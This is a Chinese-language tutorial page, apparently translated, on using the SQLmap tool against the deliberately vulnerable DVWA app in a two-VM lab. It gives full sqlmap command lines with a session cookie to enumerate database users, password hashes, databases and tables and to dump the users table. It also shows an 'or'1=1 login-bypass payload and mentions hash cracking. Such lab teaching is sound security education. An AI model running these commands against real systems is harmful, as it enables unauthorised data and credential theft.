您的位置:首页 > 数据库

SQL注入之SQLmap入门

2015-04-18 21:49 274 查看
什么是SQLmap?

SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。

读者可以通过位于SourceForge的官方网站下载SQLmap源码:http://sourceforge.net/projects/sqlmap/和http://sqlmap.org/

SQLmap的作者是谁?

Bernardo DameleAssumpcao Guimaraes (@inquisb),读者可以通过bernardo@sqlmap.org与他取得联系,以及Miroslav Stampar (@stamparm)读者可以通过miroslav@sqlmap.org与他联系。

同时读者也可以通过dev@sqlmap.org与SQLmap的所有开发者联系。
执行SQLmap的命令是什么?

进入sqlmap.py所在的目录,执行以下命令:

python
sqlmap.py -h

(译注:选项列表太长了,而且与最新版本有些差异,所以这里不再列出,请读者下载最新版在自己机器上看吧)

QLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。

如何使用SQLmap:

为方便演示,我们创建两个虚拟机:

1、受害者机器,
windows XP操作系统,运行一个web服务器,同时跑着一个包含漏洞的web应用(DVWA)。

2、攻击器机器包含SQLmap程序。

本次实验的目的:使用SQLmap得到以下信息:

3、枚举MYSQL用户名与密码。

4、枚举所有数据库。

5、枚举指定数据库的数据表。

6、枚举指定数据表中的所有用户名与密码。

对于OWASP来说,可以通过特殊字符登录后台导致报错,之后通过admin
'or'1=1这样的方式绕过sql验证进入后台。

再然后使用SQLmap之前我们得到需要当前会话cookies等信息,用来在渗透过程中维持连接状态,这里使用Firefox中名为“TamperData”的add-on获取。





当前得到的cookie为:Cookie=security=low;
PHPSESSID=lb5049pjr11djgvlda253t09m1

接下来我们进入页面的“SQL
Injection”部分,输入任意值并提交。可以看到get请求的ID参数如下:
http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=heh&Submit=Submit#
因此该页面就是我们的目标页面。

以下命令可以用来检索当前数据库和当前用户:

python
sqlmap.py -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=heh&Submit=Submit' --cookie='security=low; PHPSESSID=lb5049pjr11djgvlda253t09m1' -b --current-db --current-user

使用选项:

1、–cookie : 设置我们的cookie值“将DVWA安全等级从high设置为low”

2、-u : 指定目标URL

3、-b : 获取DBMS banner

4、–current-db : 获取当前数据库

5、–current-user:获取当前用户
结果如下:



可以看到结果如下:

DBMS:MySQL
5.0

os
version:12.6

current
user:dvwa@%

current
db:dvwa

以下命令用来枚举所有的DBMS用户和密码hash,在以后更进一步的攻击中可以对密码hash进行破解:

python
sqlmap.py -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=heh&Submit=Submit' --cookie='security=low; PHPSESSID=lb5049pjr11djgvlda253t09m1' --string=”Surname” --users --password

使用选项:

1、–string : 当查询可用时用来匹配页面中的字符串

2、–users : 枚举DBMS用户

3、–password : 枚举DBMS用户密码hash



结果如下:

databasemanagement
system users [142]:

[*] ”@’kingasmk’

[*]”@’localhost’

[*]‘debian-sys-maint’@'localhost’

[*]‘phpmyadmin’@'localhost’

[*]‘root’@’127.0.0.1′

[*] ‘root’@'::1′

[*]‘root’@'kingasmk’

[*]‘root’@'localhost’

数据库管理系统用户和密码hash:

[*]debian-sys-maint
[1]:

password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

[*] phpmyadmin[1]:

password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

[*] root [4]:

password hash: *C30441E06530498BC86019BF3211B94B3BAB295A

password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

读者可以使用Cain&Abel、John&Ripper等工具将密码hash破解为明文。以下命令会枚举系统中所有的数据库schema:

python
sqlmap.py -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=heh&Submit=Submit' --cookie='security=low; PHPSESSID=lb5049pjr11djgvlda253t09m1' --dbs

使用选项:

–dbs: 枚举DBMS中的数据库



结果如下:

dvwa

information_schema

下面我们尝试枚举DVWA数据表,执行以下命令:

python
sqlmap.py -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=heh&Submit=Submit' --cookie='security=low; PHPSESSID=lb5049pjr11djgvlda253t09m1' -D dvwa --tables

使用选项:

1、-D : 要枚举的DBMS数据库

2、–tables : 枚举DBMS数据库中的数据表



得到结果如下:

guestbook

users

下面获取用户表的列,命令如下:

python sqlmap.py -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=heh&Submit=Submit'
--cookie='security=low; PHPSESSID=lb5049pjr11djgvlda253t09m1' -D dvwa -T users --columns

使用选项:

-T : 要枚举的DBMS数据库表

–columns : 枚举DBMS数据库表中的所有列



结果如图。

如上所示,以上为我们感兴趣的列,表示用户名与密码等。下面将每一列的内容提取出来。执行以下命令,将用户与密码表中的所有用户名与密码dump出来:



python sqlmap.py -u 'http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=heh&Submit=Submit'
--cookie='security=low; PHPSESSID=lb5049pjr11djgvlda253t09m1' -D dvwa -T users --columns --dump



使用选项:

-T : 要枚举的DBMS数据表

-C: 要枚举的DBMS数据表中的列

–dump : 转储DBMS数据表项

SQLmap会提问是否破解密码,按回车确认:



结果在dvwa.users中。

总结:

SQLmap是一个非常强大的工具,可以用来简化操作,并自动处理SQL注入检测与利用。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: